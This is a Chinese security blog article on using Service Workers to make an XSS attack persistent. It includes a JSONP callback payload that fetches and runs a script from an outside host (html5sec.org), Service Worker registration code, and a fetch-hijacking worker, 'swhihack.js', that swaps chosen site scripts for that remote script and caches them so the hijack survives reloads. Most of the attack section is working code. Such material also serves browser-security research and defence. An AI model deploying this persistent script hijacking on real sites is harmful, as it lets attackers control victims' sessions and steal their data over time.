今天给大家介绍一项新的浏览器技术:Service Workers,以及在 XSS 攻击中的利用方式。
在利用 XSS 进行攻击的过程中经常会遇到一个问题,就是目标触发一次 XSS 水坑之后就不再触发了,但窃取到的信息并不足以进行下一步攻击,这时候我们就需要「持久化 XSS」的技术。在过去有很多种方式来提高 XSS 在线时间,如 opener hijack、link hijack、HTTP cache hijack,前两项的提升有限,后一项要求较高需要 CRLF Inject 来完成。
Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript。
了解 ServiceWorker 最快的办法是在 Chrome 下打开 chrome://serviceworker-internals,如下图:
nstallation Status 表示是否被激活,Script 是我们安装的脚本。
在攻击的时候我们的安装脚本通常是使用 JSONP 接口来完成,如:
https://target.com/user/xxx?callback=$.get(‘//html5sec.org/test.js’)
通过这种方式来完成 ServiceWorker 的安装要求。Payload 中用到的 trick 是 jQuery.get 函数会自动将返回头 content-type 为 */javascript 的资源作为 JS 代码执行。
0x02 安装安装方式:
if ('serviceWorker' in navigator) {navigator.serviceWorker.register('/user/xxx?callback=alert(1)')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
安装之后可以通过开发者工具查看是否成功:
进入 chrome://flags 开启 ‘Enable DevTools Experiments’. 打开DevTools, 进入 Setting > Experiments , 连续按shift键6下 在DevTools的Resources页面里就能看到刚被开启的隐藏功能:如果安装脚本出现错误则会显示:
0x03 攻击思路
安装好之后,现在应该考虑如何植入攻击脚本?
在编写攻击脚本之前我们需要先了解一个浏览器技术的概念叫:Web Worker。
「Web Worker 是HTML5标准的一部分,这一规范定义了一套 API,它允许一段JavaScript程序运行在主线程之外的另外一个线程中。Web Worker 规范中定义了两类工作线程,分别是专用线程Dedicated Worker和共享线程 Shared Worker,其中,Dedicated Worker只能为一个页面所使用,而Shared Worker则可以被多个页面所共享。」
ServiceWorker 的脚本在后台运行过程中用的就是 Worker,这里我不多介绍 Worker 的用法,但我们需要知道 Worker 的一些限制。
在 worker 线程中,可以获得下列对象
navigator对象 location对象,只读 XMLHttpRequest对象 setTimeout/setInterval方法 Application Cache 通过importScripts()方法加载其他脚本 创建新的Web WorkerWorker 线程不能获得下列对象
DOM对象 window对象 document对象 parent对象上述的规范,限制了在worker线程中获得主线程页面相关对象的能力,所以在worker线程中,不能进行dom元素的更新。也就是说在 Worker 的作用域中我们难以完成 XSS 攻击,所以还是得通过劫持站内的 JS 来完成攻击。
当 Service Worker 安装成功,并且用户浏览了另一个页面或刷新当前页面后,Service Worker 开始接收 fetch 事件,也就是感染脚本,我把它命名为 swhihack.js。
首先是监听 fetch 事件:
self.addEventListener('fetch', function(event) {//worker context
});
将 response 进行缓存:
function requestBackend(event){var url = event.request.clone();
if(url=='xxxxxx'){//判断是否为需要劫持的资源
url.url='//html5sec.org/test.js';
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open(CACHE_VERSION).then(function(cache){
cache.put(event.request, response);
});
return res;
})
}
完工:
self.addEventListener('fetch', function (event) {event.respondWith(
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
}); 二向箔安全微信公众号
*本文作者:长短短,独家授权MottoIN发布,禁止转载!